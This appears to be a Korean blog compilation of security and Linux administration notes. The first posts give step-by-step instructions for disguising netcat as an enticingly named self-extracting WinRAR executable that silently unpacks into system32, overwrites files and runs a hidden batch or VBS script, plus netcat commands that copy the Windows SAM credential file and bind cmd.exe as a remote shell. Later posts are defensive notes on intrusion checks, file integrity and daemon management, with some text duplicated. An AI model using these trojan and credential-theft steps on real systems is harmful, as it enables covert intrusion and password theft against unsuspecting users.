exetotext프로그램을 깔고 nc.exe를 드래그해서 옮겨놓는다. 

내용을 복사해서 텍스트파일로저장하고
마지막부분에 nc 명령어를 다양한 옵션들과 함께 저장하고, 확장자를 bat 로 바꾼다. 

이후 winrar을 통해서  '일반'탭에 압축파일이름을 구미가댕길만한 이름.exe  으로 바꾸고,
압축파일옵션에  SFX압축파일 생성 체크하고
'고급'탭에서 SFX옵션-'일반'탭에 압축풀경로를 %systemroot%\system32 로 지정하고
압축풀기후 실행에 위에서만든 bat파일을 적는다.
이후
 '모드'탭에 모두숨김체크하고
'업데이트' 탭에 모든파일 덮어쓰기 체크한다


======================
추가로 스텔스모드 활용법

다음의 revert.vbs 라는 이름의 파일을 만든다
내용은 다음과 같다
여기서 맨 아랫줄의 배치파일이름은 위에서 생성한 파일이름과 동일하게 지정해준다.
 
 
On Error Resume Next
Set shell=CreateObject("wscript.sheell")
A=shell.run("revert.bat",0)

그리고 다음의 과정을 수행한다

맨 처음 winrar 창에서 '파일'탭에 가면 추가할 파일에 더하기를 눌러 방금 만들어놓은 revert.vbs 를 추가한다.
그리고 '일반'탭에 압축파일이름을 구미가댕길만한 이름.exe  으로 바꾸고,
압축파일옵션에  'SFX압축파일 생성' 체크하고 
'고급'탭에서 SFX옵션-'일반'탭에 압축풀경로를 %systemroot%\system32 로 지정하고 
'압축풀기후 실행' 에 위에서만든 revert.vbs 파일을 적는다.   

'모드'탭에 모두숨김체크하고 
'업데이트' 탭에 모든파일 덮어쓰기 체크한다

 
빨간줄이 스텔스 모드의 다른점이다.  
AND

x6@x6:~$ free
    total       used       free     shared    buffers     cached
Mem:              1802252    1645700     156552          0     116676     515556
-/+ buffers/cache:             1013468     788784
Swap:               3906552       1164    3905388


커널이사용하는공간 =                        used - buffers -cached
 
사용자가 사용가능한 메모리 공간 =   free + buffers + cached

평소보다 커널이 사용하는 공간의 비율이 많이 늘어나면 의심을 해 볼 수 있다. 

* 공간계산하는 스크립트 만들어서 항시 확인할 수 있도록 한다.  
AND

유용하게 쓸만한것만 정리한다.

1. 단순 채팅
서버측
#nc -l -p 1234 

클라이언트측
# nc 서버IP 1234


 2. 서버에서 파일전송
서버측
# nc -l -p 1234 < %systemroot%\system32\config\SAM

클라이언트측
# nc 서버IP 1234 > SAM-copy

3. 클라이언트에서 파일전송
서버측
# nc -l -p 1234 > SAM-copy

클라이언트측
# nc 서버IP 1234 <%systemroot%\system32\config\SAM
 
4. 서버에서 특정 파일에 대한 모든 권한 인계
서버측
# nc -l -p 1234 -e cmd.exe

클라이언트측
# nc 서버IP 1234

 
AND

# /etc/rc.d/init.d/sshd restart
# ps -ef | grep sshd
==root............PID................................../usr/sbin/sshd
#cat /var/run/sshd.pid
PID번호
# lsof -p [PID}

# cd /proc/[PID]              ===>>>가장 신뢰가능한 정보

# ls -l exe
..............................................exe   --> /usr/sbin/sshd                
=======>여기서 위의 ps해서 나온 경로랑 일치하는지 확인
# cat maps        
===> 여기서 lsof 와의 정보랑 비교해서 동일한지 확인   >> 수행되는 라이브러리들이 이상이 없는지 확인
# netstat -anpl | grep sshd

-------------------------------
이렇게 하면 신뢰할 수 있는 서비스인지 확인이 가능하다. 이후로 분석하게 되면 리버싱단계이다. 
AND


해커의 침입으로 인해  명령어 자체에도 변형이 생길 수 있다. 
그래서  명령어 자체에 대한 무결성을 보장할 필요가 있다 

진정한 관리자라면, 처음 관리직을 맡았을 때 시스템의 주요 파일들의  MC time(access time제외)에 대한  정보와 mdtsum을 이용한 hash값을 백업해 놓을 필요가 있다. 

따라서 시스템에서 무결성이 보장되어야할 필요가 있는 파일들은 다음과 같이 정보를 수집한다
1. MAC Time에 대한 정보수집
# stat /test/* | grep -v Access: [0-9] > /tmp/stat.test.0620.info
2. Inode 값의 변경여부 확인하기
# ls -li  /etc/* > inode.etc.0620.info
3. md5sum을 이용한 해쉬값 생성
# mdtsum /test/* > /tmp/md5sum.test.0620.info
 
 
따로 백업해 놓았다가 나중에 비교해서 명령어나 파일 자체에 대한 무결성을 비교해 보면된다.  
AND

관리를 하려면 다음의 순서를 기본으로 지켜야한다
1. 데몬컨트롤
2. 커널파라메터 수정
3. 퍼미션수정

이것이 완료되면 랜선꼽고 서비스 개시하는 것이 정석이다.
 첫번째 데몬의 컨트롤 과정을 살펴보자

데몬(서비스) 동작시키는  방법
1. 런레벨에 의해 동작 시키는 방법              =  데몬에의한
부팅시 /etc/rc.d/ 하위에 런레벨에 따른 디렉토리 안에 S와 K로 시작하는 파일명으로  동작한다
파일의 이름을 해당레벨 디렉토리에가서 수정해준다.
2. 슈퍼데몬에 의해 동작시키는 방법            = xinetd 에 의한
 
xinet.d은  클라이언트의 요청이 들어왔을 시에만 해당 서비스를 올리는 슈퍼데몬이다.
요청이 없으면 해당서비스는 sleep상태로 있어 ps 명령어로 확인할 수 없다.

리눅스에서는 기본적으로 설치되어 있지 않으므로 일단 xinetd설치하면
/etc/xinet.d/ 이하에  서비스 되고 있는 목록이 정의되어 있다.

새로운 xinetd 로 관리하고자 하는 서비스를 추가시키려면
/etc/xinetd.conf 파일안에 다음과 같이 설정을 해줄 수 있다. 
 

service telnet

{

     disable = no

     flags = REUSE

     socket_type = stream

     wait = no

     user = root

     server = /usr/sbin/in.telnetd

     log_on_failure += USERID

}

3. 부팅과 상관없이 동작시키는 방법
= STAND ALONE관리를 하려면 다음의 순서를 기본으로 지켜야한다
1. 데몬컨트롤
2. 커널파라메터 수정
3. 퍼미션수정

이것이 완료되면 랜선꼽고 서비스 개시하는 것이 정석이다. 
 첫번째 데몬의 컨트롤 과정을 살펴보자

데몬(서비스) 동작시키는  방법
1. 런레벨에 의해 동작 시키는 방법              =  데몬에의한
부팅시 /etc/rc.d/ 하위에 런레벨에 따른 디렉토리 안에 S와 K로 시작하는 파일명으로  동작한다
파일의 이름을 해당레벨 디렉토리에가서 수정해준다. 
2. 슈퍼데몬에 의해 동작시키는 방법            = xinetd 에 의한
 
xinet.d은  클라이언트의 요청이 들어왔을 시에만 해당 서비스를 올리는 슈퍼데몬이다. 
요청이 없으면 해당서비스는 sleep상태로 있어 ps 명령어로 확인할 수 없다.

리눅스에서는 기본적으로 설치되어 있지 않으므로 일단 xinetd설치하면
/etc/xinet.d/ 이하에  서비스 되고 있는 목록이 정의되어 있다.

새로운 xinetd 로 관리하고자 하는 서비스를 추가시키려면 
/etc/xinetd.conf 파일안에 다음과 같이 설정을 해줄 수 있다. 
 
service telnet

{

     disable = no

     flags = REUSE

     socket_type = stream

     wait = no

     user = root

     server = /usr/sbin/in.telnetd

     log_on_failure += USERID

}

3. 부팅과 상관없이 동작시키는 방법
= STAND ALONE
/etc/rc.d/init.d/~    이하에 프로세서들을 직접 지정해서 ststus, start, restart, stop 해 줄 수 있다. 
# service 명령어로 확인할 수 있지만, 이것보단 Full PATH 를 이용하여 동작시키는 방법을 연습하자

--------------------------------------
<GUI 서비스 관리 명령어>
# ntsysv

<포트로 서비스 확인하는 명령어 >
            # netstat -anlp | grep :23

 ----------------------------------

/etc/rc.d/rc.local    은 부팅시 맨 마지막으로 읽어들임으로 확인해볼 필요가 있다. 


두번째 커널 파라메터 튜닝부분이다.
 서비스의 시작프로그램 튜닝을 완료했으면 커널 파라메터에 대한 튜닝이 필요하다.  
===> 시스템에서 
cd /proc/sys   경로에 있다. 
네트워크 관련된거는  
 cd /proc/sys/net/ipv4에 있다

icmp_echo_ignore_all  값 고치기
 
tcp_fin_timeout 값을 적게 줄이면 기다리는 시간이 줄어들어 부하가 줄어든다. 

# service 명령어로 확인할 수 있지만, 이것보단 Full PATH인  /etc/rc.d/init.d/~    이하에 프로세서들을 직접 지정해서 ststus, start, restart, stop 해 줄 수 있다.

-----------------------------------
<GUI 서비스 관리 명령어>
# ntsysv

<포트로 서비스 확인하는 명령어 >
            # netstat -anlp | grep :23

 ----------------------------------

/etc/rc.d/rc.local    은 부팅시 맨 마지막으로 읽어들임으로 확인해볼 필요가 있다.


두번째 커널 파라메터 튜닝부분이다.
 서비스의 시작프로그램 튜닝을 완료했으면 커널 파라메터에 대한 튜닝이 필요하다.   ===> 시스템에서 
cd /proc/sys   경로에 있다. 
네트워크 관련된거는   cd /proc/sys/net/ipv4에 있다
icmp_echo_ignore_all  값 고치기
tcp_fin_timeout 값을 적게 줄이면 기다리는 시간이 줄어들어 부하가 줄어든다. 

커널파라메터 튜닝은 나중에 자세히 올리도록 하겠다.
 
AND